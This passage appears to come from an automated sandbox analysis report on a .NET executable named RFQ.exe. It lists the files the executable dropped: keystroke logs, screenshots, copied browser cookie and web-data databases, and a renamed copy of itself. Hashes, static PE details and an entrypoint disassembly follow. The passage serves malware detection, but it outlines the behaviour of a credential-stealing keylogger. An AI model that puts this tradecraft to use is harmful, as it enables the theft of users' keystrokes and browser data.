Preview:	..[10:34:40]<<Program Manager>>....[10:34:40]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:41]<<Program Manager>>....[10:34:42]<<Program Manager>>....[10:34:42]<<Program Manager>>....[10:34:42]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataEpGImoUv.txt

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.336370987118077
Encrypted:	false
SSDEEP:	12:tM6IIIIIIIDDDDDDDSSSSSSS9999999UUUUUUUUffSCpx:tMQ7
MD5:	335C6F2B6D30F7C545277435CEE07068
SHA1:	E74893AE74A1EA565239C682BEF77E0492A846DE
SHA-256:	3289A086E409580BEF8D49E64B8573C05A8479E8BBACC629ED28AB6BD82D06A8
SHA-512:	5683FE0F040B9B5D1523D97C4EF8B52A67B7077ABBBB0D3A268D5AF8763B955C981EC63F85A43B62270BB0CD77353E37399F15AC26AB7776FD8C3C6519C18DE2
Malicious:	false
Preview:	..[10:34:10]<<Program Manager>>....[10:34:11]<<Program Manager>>....[10:34:11]<<Program Manager>>....[10:34:11]<<Program Manager>>....[10:34:11]<<Program Manager>>....[10:34:11]<<Program Manager>>....[10:34:11]<<Program Manager>>....[10:34:11]<<Program Manager>>....[10:34:12]<<Program Manager>>....[10:34:12]<<Program Manager>>....[10:34:12]<<Program Manager>>....[10:34:12]<<Program Manager>>....[10:34:12]<<Program Manager>>....[10:34:12]<<Program Manager>>....[10:34:12]<<Program Manager>>....[10:34:13]<<Program Manager>>....[10:34:13]<<Program Manager>>....[10:34:13]<<Program Manager>>....[10:34:13]<<Program Manager>>....[10:34:13]<<Program Manager>>....[10:34:13]<<Program Manager>>....[10:34:13]<<Program Manager>>....[10:34:14]<<Program Manager>>....[10:34:14]<<Program Manager>>....[10:34:14]<<Program Manager>>....[10:34:14]<<Program Manager>>....[10:34:14]<<Program Manager>>....[10:34:14]<<Program Manager>>....[10:34:14]<<Program Manager>>....[10:34:15]<<Program Manager>>....[10:34:1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataINnKnVhp.txt

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2640
Entropy (8bit):	4.347678968671686
Encrypted:	false
SSDEEP:	12:tMAf4N+p+p+p+p+pVVVVVVVWZWZWZWZWZWZWZXXXXXXAZAZAZAZAZAZAZAZ/Z/Zz:tMngssssAZZZZZZkOOOOOOk111111l
MD5:	8434BE4FFFBB48849CAEEEA403271A0B
SHA1:	81CA86009471C52CD98EB2A6F1C4557C1389BF80
SHA-256:	D7C80D1FD33D94A1DD900937DFA9D0D68EDC3EE9F6DD0FD44B3E1DC74AF6471B
SHA-512:	B5E0CA9EE5AA778E305D61B6B8623527922B961DA84A9F37F82CB9FB9DAB362FA278013A8A502B5B6A2C2300A385C514A46C1519C2EF76BC61120A6239B3DCB0
Malicious:	false
Preview:	..[10:33:11]<<Program Manager>>....[10:33:12]<<Program Manager>>....[10:33:23]<<Program Manager>>....[10:33:23]<<Program Manager>>....[10:33:23]<<Program Manager>>....[10:33:23]<<Program Manager>>....[10:33:23]<<Program Manager>>....[10:33:24]<<Program Manager>>....[10:33:24]<<Program Manager>>....[10:33:24]<<Program Manager>>....[10:33:24]<<Program Manager>>....[10:33:24]<<Program Manager>>....[10:33:24]<<Program Manager>>....[10:33:24]<<Program Manager>>....[10:33:25]<<Program Manager>>....[10:33:25]<<Program Manager>>....[10:33:25]<<Program Manager>>....[10:33:25]<<Program Manager>>....[10:33:25]<<Program Manager>>....[10:33:25]<<Program Manager>>....[10:33:25]<<Program Manager>>....[10:33:26]<<Program Manager>>....[10:33:26]<<Program Manager>>....[10:33:26]<<Program Manager>>....[10:33:26]<<Program Manager>>....[10:33:26]<<Program Manager>>....[10:33:26]<<Program Manager>>....[10:33:27]<<Program Manager>>....[10:33:27]<<Program Manager>>....[10:33:27]<<Program Manager>>....[10:33:2

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataKIxwcxJd.txt

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2343
Entropy (8bit):	4.386929984709732
Encrypted:	false
SSDEEP:	12:tML8888TTTTTTTiiiiiiiqNqNqNqNqNqNqNqNVVVVVVVGGGGGGGWWWWWWWWWWWWQ:tMbsssssssj1111111N
MD5:	0DEEFAEF60DA0B0D4F6871EEBC1B0636
SHA1:	BE2CE9A63096E68D658566E124517EAAFD439241
SHA-256:	60589ED63D7AF1D99247BC69CDDB4F3AD290E7B2DECA5E1C9D93056392574A25
SHA-512:	DCA74E76F87A6670C93371D55254446D7C2C0E7FADC3C492011F892688462CD9C1CFD98E0352156388229D70099EE2EDE143FD5B91F15EBFA156E40050F5E480
Malicious:	false
Preview:	..[10:33:47]<<Program Manager>>....[10:33:47]<<Program Manager>>....[10:33:47]<<Program Manager>>....[10:33:47]<<Program Manager>>....[10:33:47]<<Program Manager>>....[10:33:48]<<Program Manager>>....[10:33:48]<<Program Manager>>....[10:33:48]<<Program Manager>>....[10:33:48]<<Program Manager>>....[10:33:48]<<Program Manager>>....[10:33:48]<<Program Manager>>....[10:33:48]<<Program Manager>>....[10:33:49]<<Program Manager>>....[10:33:49]<<Program Manager>>....[10:33:49]<<Program Manager>>....[10:33:49]<<Program Manager>>....[10:33:49]<<Program Manager>>....[10:33:49]<<Program Manager>>....[10:33:49]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:50]<<Program Manager>>....[10:33:51]<<Program Manager>>....[10:33:51]<<Program Manager>>....[10:33:51]<<Program Manager>>....[10:33:5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataWBeRYorH.txt

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	759
Entropy (8bit):	4.448996352273284
Encrypted:	false
SSDEEP:	12:tM01Zh1ZENENENENENENENWA1ZWA1ZWA1ZWA1ZWA1ZWA1ZWA1ZOLZOLZOLZOLZO1:tMbaaaaaaEA+A+A+A+A+A+A6YYYYYE5
MD5:	975F261244D002FCCB4EF628C862D3B5
SHA1:	327D158E2C8E0436AF6D267ABD4F74E439440984
SHA-256:	92859529EAD2446B7873A43EB99512F0E263A952C5DE144C51DD31BFF263B5DC
SHA-512:	BCB0F2CAFE23BC7A474D1706A93C9431FE27DE4A0F236AAC5484EE4FF50A00D6D7F3B8E6049BF02FCA2EEE1A0B84AE9D3A4D9BEE9926111EFF7FC13FFCC626CE
Malicious:	false
Preview:	..[10:34:25]<<Program Manager>>....[10:34:25]<<Program Manager>>....[10:34:26]<<Program Manager>>....[10:34:26]<<Program Manager>>....[10:34:26]<<Program Manager>>....[10:34:26]<<Program Manager>>....[10:34:26]<<Program Manager>>....[10:34:26]<<Program Manager>>....[10:34:26]<<Program Manager>>....[10:34:27]<<Program Manager>>....[10:34:27]<<Program Manager>>....[10:34:27]<<Program Manager>>....[10:34:27]<<Program Manager>>....[10:34:27]<<Program Manager>>....[10:34:27]<<Program Manager>>....[10:34:27]<<Program Manager>>....[10:34:28]<<Program Manager>>....[10:34:28]<<Program Manager>>....[10:34:28]<<Program Manager>>....[10:34:28]<<Program Manager>>....[10:34:28]<<Program Manager>>....[10:34:28]<<Program Manager>>....[10:34:37]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatatOEHJQWv.txt

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	396
Entropy (8bit):	4.329828960669314
Encrypted:	false
SSDEEP:	6:tM1jZUXWUXWUXWUXWUXWUXWUXWU9XpU9XpU9Xp0x:tMfPPPPPPPqpqpqp0x
MD5:	EF06D681B1E017C21AD0BC6ECC00E0C9
SHA1:	73C030DC826011298FEE19C21099AC3BBDAA5E22
SHA-256:	1A20718804C0300696D1A4561E5F0B2F273FDA5AAFD99CE5E69EF737950E562B
SHA-512:	BA6D64F21A9AE72EF78583BBF8FAF65F1FCAFBD7EDBE96EFEFE5B22201E1037E687F30B8C3999D013A6C511EAF7BFF365F16352BED8547A86768B9FCA583AD1A
Malicious:	false
Preview:	..[10:35:01]<<Program Manager>>....[10:35:02]<<Program Manager>>....[10:35:02]<<Program Manager>>....[10:35:02]<<Program Manager>>....[10:35:02]<<Program Manager>>....[10:35:02]<<Program Manager>>....[10:35:02]<<Program Manager>>....[10:35:02]<<Program Manager>>....[10:35:03]<<Program Manager>>....[10:35:03]<<Program Manager>>....[10:35:03]<<Program Manager>>....[10:35:12]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\LogfisslehbQlYkgroFYogLHXZKSUzhGekoogWGBPjtfAuuepjaXbgfishfall

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
SSDEEP:	48:pMtA+IIkCVEq8Ma0D0HOlf/6ykwpLf/UUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:pOCCn8MouB6w9f/MiZqmvJKLPeymwil
MD5:	BDDE4AD11E732420E7ABCCA946B11611
SHA1:	278C3386A37BAFCA507CF4C128600B01B312DDA0
SHA-256:	099AB6B902097361832FC2485E96C71C827E722FA74C09C7D08DCE9091094C1D
SHA-512:	B29061A507FCAE2CB56155C5C911706E60C798D288968B210A1670C0F0D1D3F7B3B2B2919B946FED47C4975B157A56B557F71AE80A427C85C660F6B37153C9E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................zp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotOtSfcZaV.BMP

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.762205478872711
Encrypted:	false
SSDEEP:	12288:56ETDU5vCCih/Cd3GhF+kGL7tyqaLbt3wtiw+XPFJkVTqc++J6y72DRMMUUUXZUx:nTevCCi2Bti8WQJDc8SbJW49Xmc
MD5:	88BB8F78BD46C6E6B2DA3C2DB117BBB0
SHA1:	3598723CDE0AC382F373CD069E7DA160003A2485
SHA-256:	06527E8393202212E3E37EC14B2B0623B98433230A80A06C9152EF9F7C1F3A09
SHA-512:	7BBB5F81436CE1711D41EF8A233E623A3629E6469A4148E8E61A89B4362DA905AE69E519043355DC28CFAE8859FD21C7F9B5B4514132D2911737A7361DEC872C
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotQCHTpBBf.BMP

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.756166291082075
Encrypted:	false
SSDEEP:	12288:5sZTDU5vCCih/CvL3+ecuaj/rHSTL5KLStiw+XPFJkVTqc++J6y72DRMMUUUXZUx:ETevCCiI7ti8WQJDc8SbJW49Xmc
MD5:	B675F6A754B5B6E1220DAD7D2314EBCA
SHA1:	5315F53A1413EB6FA9688A7D95A11D13F13866CE
SHA-256:	5A43514D22642A3D9F9B789DCB40B3CC348E5AA27BA17836F918B1F2F3A82DE5
SHA-512:	037F4E7AFA3FB2F03FA540A4ACCC1A25DD5BA59A02EA2E3404AD3F028034059F3F02EABD968AD2B27A462EEE83D34D42F5E4838B941EF2F7E61D43D55CF28281
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotchPuJDaP.BMP

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.756180444524573
Encrypted:	false
SSDEEP:	12288:56ETDU5vCCih/CvL3+ecuaj/rHSTL5KLStiw+XPFJkVTqc++J6y72DRMMUUUXZUx:nTevCCiI7ti8WQJDc8SbJW49Xmc
MD5:	FA00658610644D32CE292CB687DE80A8
SHA1:	6B05E69D6C5AF9F31BB9C9CAFC26E42A0B344576
SHA-256:	2BA35E7D55EA9D87A98A37C3C88F3700891F551DB3C73AC4C964E9C7E2FAB2BE
SHA-512:	8A4C6F5EE47F25327489F09AEB27A0C4084D1EC459C810EB50D4C08D0FE6509D16F29679E133DC1727971B6A20FC32F88BF0364EC1981CADA0597847F123C862
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotejjRISuO.BMP

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.756184493505543
Encrypted:	false
SSDEEP:	12288:5hQTDU5vCCih/CvL3+ecuaj/rHSTL5KLStiw+XPFJkVTqc++J6y72DRMMUUUXZUx:YTevCCiI7ti8WQJDc8SbJW49Xmc
MD5:	76359073CEAA17FCA893FD2777357E58
SHA1:	0BA58A43380D0004E05B17B2ED57B8B7A500E608
SHA-256:	8DA726ABC2446940C5C4C1365E075B72439B549022D074C3A0EE54AAD8C70AC1
SHA-512:	45F84965F335E4F445FA3B03371C30E774514C9AF7AFD170452705966C64470B5B4CD2FF80CE1CB3823F54AD5120D273E3296F492318F557D66B5D10231E7E62
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotvsilsXpt.BMP

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.756184493505543
Encrypted:	false
SSDEEP:	12288:5hQTDU5vCCih/CvL3+ecuaj/rHSTL5KLStiw+XPFJkVTqc++J6y72DRMMUUUXZUx:YTevCCiI7ti8WQJDc8SbJW49Xmc
MD5:	76359073CEAA17FCA893FD2777357E58
SHA1:	0BA58A43380D0004E05B17B2ED57B8B7A500E608
SHA-256:	8DA726ABC2446940C5C4C1365E075B72439B549022D074C3A0EE54AAD8C70AC1
SHA-512:	45F84965F335E4F445FA3B03371C30E774514C9AF7AFD170452705966C64470B5B4CD2FF80CE1CB3823F54AD5120D273E3296F492318F557D66B5D10231E7E62
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotwratUqtC.BMP

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.756184493505543
Encrypted:	false
SSDEEP:	12288:5hQTDU5vCCih/CvL3+ecuaj/rHSTL5KLStiw+XPFJkVTqc++J6y72DRMMUUUXZUx:YTevCCiI7ti8WQJDc8SbJW49Xmc
MD5:	76359073CEAA17FCA893FD2777357E58
SHA1:	0BA58A43380D0004E05B17B2ED57B8B7A500E608
SHA-256:	8DA726ABC2446940C5C4C1365E075B72439B549022D074C3A0EE54AAD8C70AC1
SHA-512:	45F84965F335E4F445FA3B03371C30E774514C9AF7AFD170452705966C64470B5B4CD2FF80CE1CB3823F54AD5120D273E3296F492318F557D66B5D10231E7E62
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\WebData

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215401507481708
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:qq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	4B7413BC9D2D60F801777DE457B19F3D
SHA1:	708BBAC7E9CF6448CBA5AD64C0F7DCF4DFF3355F
SHA-256:	DB9A12C7F30F936B06EEED870E949CF9C2B67EEC18EEFAA62658CE1A8DA8FE19
SHA-512:	71F7472F7918F59BB17F82C6A4B784D6742E7E2683DE4C5D60186664A5E304A21EEF4F8C88E7FC852B207876EC9D3EE963F4805C329FD07F8A4B93A0E3C43021
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db-shm

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wOPQRmK.exe

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	902144
Entropy (8bit):	7.890310752601163
Encrypted:	false
SSDEEP:	12288:TfNeE6xIVKGJA1R1MbXgf+GH4oGSlhA8b06JJe4Ii3QOeGiTJyxwC1ht2ddT+:wE6xcA1LMbDqXm8b0iJ7r6cxvE
MD5:	768BED9843A8A7C96699B27FC40B8819
SHA1:	4AE495C3540252BEF39276BF6E9FC84435F7B7BB
SHA-256:	AA653AD0D107B2D7AB98D4EDE0EEF147B73FBD7EB2F522F0BF608F833DAEBE34
SHA-512:	E23D433AC20532C512D2F2DB1BADBF4A2E43D2C28FF73553E2DE79D82A012DBE1AFE81D59BC830F4606FF3B54B08CBBCBD2B6448CDB12A3246FFB4607AC93539
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L...............0.............2.... ........@.. ....................... ............@.....................................O.......................................p............................................ ............... ..H............text...8.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......t...t3......9..................................................^..}.....(.......(.....&..(........0..+.........,..{.......+....,...{....o........(.....*..0............s....}.....s....}.....s....}.....s....}.....(......{.....o......{....r...p"..@A...s....o......{........s....o .....{....r+..po!.....{.....h..s"...o#.....{.....o$.....{....rK..po%.....{....r...p"..@A...s....o......{.....z..s....o .....{....ra..po!.....{.....d..s"...o#.....{.....o$.....{....r...p"..@A..

C:\Users\user\AppData\Roaming\wOPQRmK.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.890310752601163
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	RFQ.exe
File size:	902'144 bytes
MD5:	768bed9843a8a7c96699b27fc40b8819
SHA1:	4ae495c3540252bef39276bf6e9fc84435f7b7bb
SHA256:	aa653ad0d107b2d7ab98d4ede0eef147b73fbd7eb2f522f0bf608f833daebe34
SHA512:	e23d433ac20532c512d2f2db1badbf4a2e43d2c28ff73553e2de79d82a012dbe1afe81d59bc830f4606ff3b54b08cbbcbd2b6448cdb12a3246ffb4607ac93539
SSDEEP:	12288:TfNeE6xIVKGJA1R1MbXgf+GH4oGSlhA8b06JJe4Ii3QOeGiTJyxwC1ht2ddT+:wE6xcA1LMbDqXm8b0iJ7r6cxvE
TLSH:	1C151254792DCF62DE9147F10D16E67403A99E9EE020D3868CEEECFB7065B666804F83
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L...............0.............2.... ........@.. ....................... ............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4dd832
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xDA4CCDA2 [Mon Jan 21 15:47:46 2086 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdd7de	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xde000	0x5bc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
